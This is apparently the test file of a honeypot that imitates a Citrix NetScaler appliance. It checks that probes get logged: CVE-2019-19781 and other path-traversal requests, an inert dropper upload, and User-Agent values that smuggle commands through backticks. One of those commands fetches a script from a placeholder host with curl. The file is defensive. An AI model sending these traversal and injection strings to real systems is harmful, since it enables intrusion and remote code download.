"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted."""
import hashlib
import http.client
import json
import pathlib
import tempfile
import threading
import subprocess
import sys
from unittest.mock import patch

from honeypot import Engine, Server, extract
from evidence import Evidence


def main():
    workspace = tempfile.TemporaryDirectory()
    evidence = Evidence(workspace.name)
    rows = []

    def sink(event, **data):
        rows.append(dict(event=event, **data))
        evidence.emit(event, **data)

    engine = Engine(sink, delay=0, save=evidence.save)
    server = Server(('127.0.0.1', 0), engine)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    def request(method, path, body=None, headers=None):
        connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
        connection.request(method, path, body=body, headers=headers or {})
        response = connection.getresponse()
        result = response.status, response.read()
        connection.close()
        return result

    try:
        status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}',
                                   {'Content-Type': 'application/json'})
        assert status == 201 and json.loads(response)['login'][0]['sessionid']
        auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']}
        assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2
        assert engine.backend is None and engine.fetcher is None
        request('GET', '/vpn/../vpns/cfg/smb.conf')
        assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
        request('GET', '/../../etc/passwd')
        assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows)
        request('GET', '/flash/nsconfig/ns.conf')
        assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows)

        payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100
        request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
        digest = hashlib.sha256(payload).hexdigest()
        assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
        upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest)
        assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}

        assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
            == 'curl http://198.51.100.9/a.sh -o /tmp/a'
        value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X'
        request('GET', '/', headers={'User-Agent': value})
        candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate')
        assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt'
        engine.tick()
        run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid='))
        assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd']
        assert any(e['event'] == 'virtual_file_write' for e in rows)

        journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
        kinds = {e['event'] for e in journal}
        assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
                'simulated_command', 'virtual_file_write'} <= kinds
        # Interrupted writes never publish a partial file under a full-content hash.
        with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')):
            try:
                evidence.save(b'interrupted-file')
                raise AssertionError('storage failure was ignored')
            except OSError:
                pass
        assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists()
        assert not list(evidence.artifacts.glob('.capture-*'))
        interrupted = pathlib.Path(workspace.name) / 'interrupted-journal'
        interrupted.mkdir()
        (interrupted / 'events.jsonl').write_bytes(b'{"interrupted":')
        repaired = Evidence(interrupted)
        try:
            repaired.emit('after_restart')
            lines = (interrupted / 'events.jsonl').read_bytes().splitlines()
            assert lines[0] == b'{"interrupted":'
            assert json.loads(lines[1])['event'] == 'after_restart'
        finally:
            repaired.close()
        # A capture failure survives process restart and cannot be bypassed by systemd.
        server.stop_capture(OSError('simulated quota exhaustion'))
        assert (evidence.directory / 'STOP').exists()
        result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
                                 '--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5)
        assert result.returncode == 78 and b'STOP latch' in result.stderr
        full = pathlib.Path(workspace.name) / 'full-at-start'
        store = Evidence(full, quota=1024*1024)
        store.save(b'x'*(1024*1024))
        store.close()
        result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
                                 '--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'],
                                capture_output=True, timeout=5)
        assert result.returncode == 78 and (full / 'STOP').exists()
        result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
                                 '--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5)
        assert result.returncode == 2
    finally:
        server.shutdown()
        server.server_close()
        thread.join(3)
        evidence.close()
        workspace.cleanup()
    print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted')


if __name__ == '__main__':
    main()